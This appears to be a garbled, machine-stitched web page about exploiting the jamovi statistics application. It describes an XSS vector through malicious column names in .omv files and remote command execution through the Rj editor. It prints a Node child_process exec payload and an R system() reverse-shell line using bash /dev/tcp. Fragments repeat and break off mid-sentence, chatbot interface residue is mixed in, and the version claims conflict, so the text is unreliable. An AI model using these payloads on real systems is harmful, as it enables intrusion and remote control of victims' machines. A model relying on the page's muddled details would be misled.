Jamovi 0955 Exploit — !new!

: Jamovi uses HTML, CSS, and JavaScript to build its slick, easy-to-use spreadsheet interface.

require('child_process').exec('malicious_command_here'); Use code with caution.

Many older deployments of jamovi were never updated, especially on offline or legacy systems. Consequently, 0.9.5.5 remains present in many environments today , silently vulnerable to both the XSS exploit and (if exposed on a network) the Rj‑editor RCE. jamovi 0955 exploit

If an attacker gains access to a jamovi instance (for example, if jamovi is exposed as a web service on a port such as 8080), they can open the Rj Editor and run arbitrary system commands using R’s system() function. A typical reverse‑shell payload would be:

: If Jamovi prompts you with an alert stating that a file contains custom R code or external scripts, do not permit execution unless you have verified every line of code yourself. : Jamovi uses HTML, CSS, and JavaScript to

system("bash -c 'bash -i >& /dev/tcp/ / 0>&1'", intern=TRUE) Use code with caution. Copied to clipboard

An attacker can create a malicious .omv (jamovi) document containing a script payload in a column name. Consequently, 0

In jamovi versions 1.6.18 and lower, the application's document handler failed to properly neutralize user-controllable input within the column-name attribute. Because jamovi renders its spreadsheet user interface using standard web technologies inside an ElectronJS container, an unneutralized column name containing HTML or JavaScript code is interpreted directly by the embedded browser engine instead of being treated as plain text. Threat Vector and User Interaction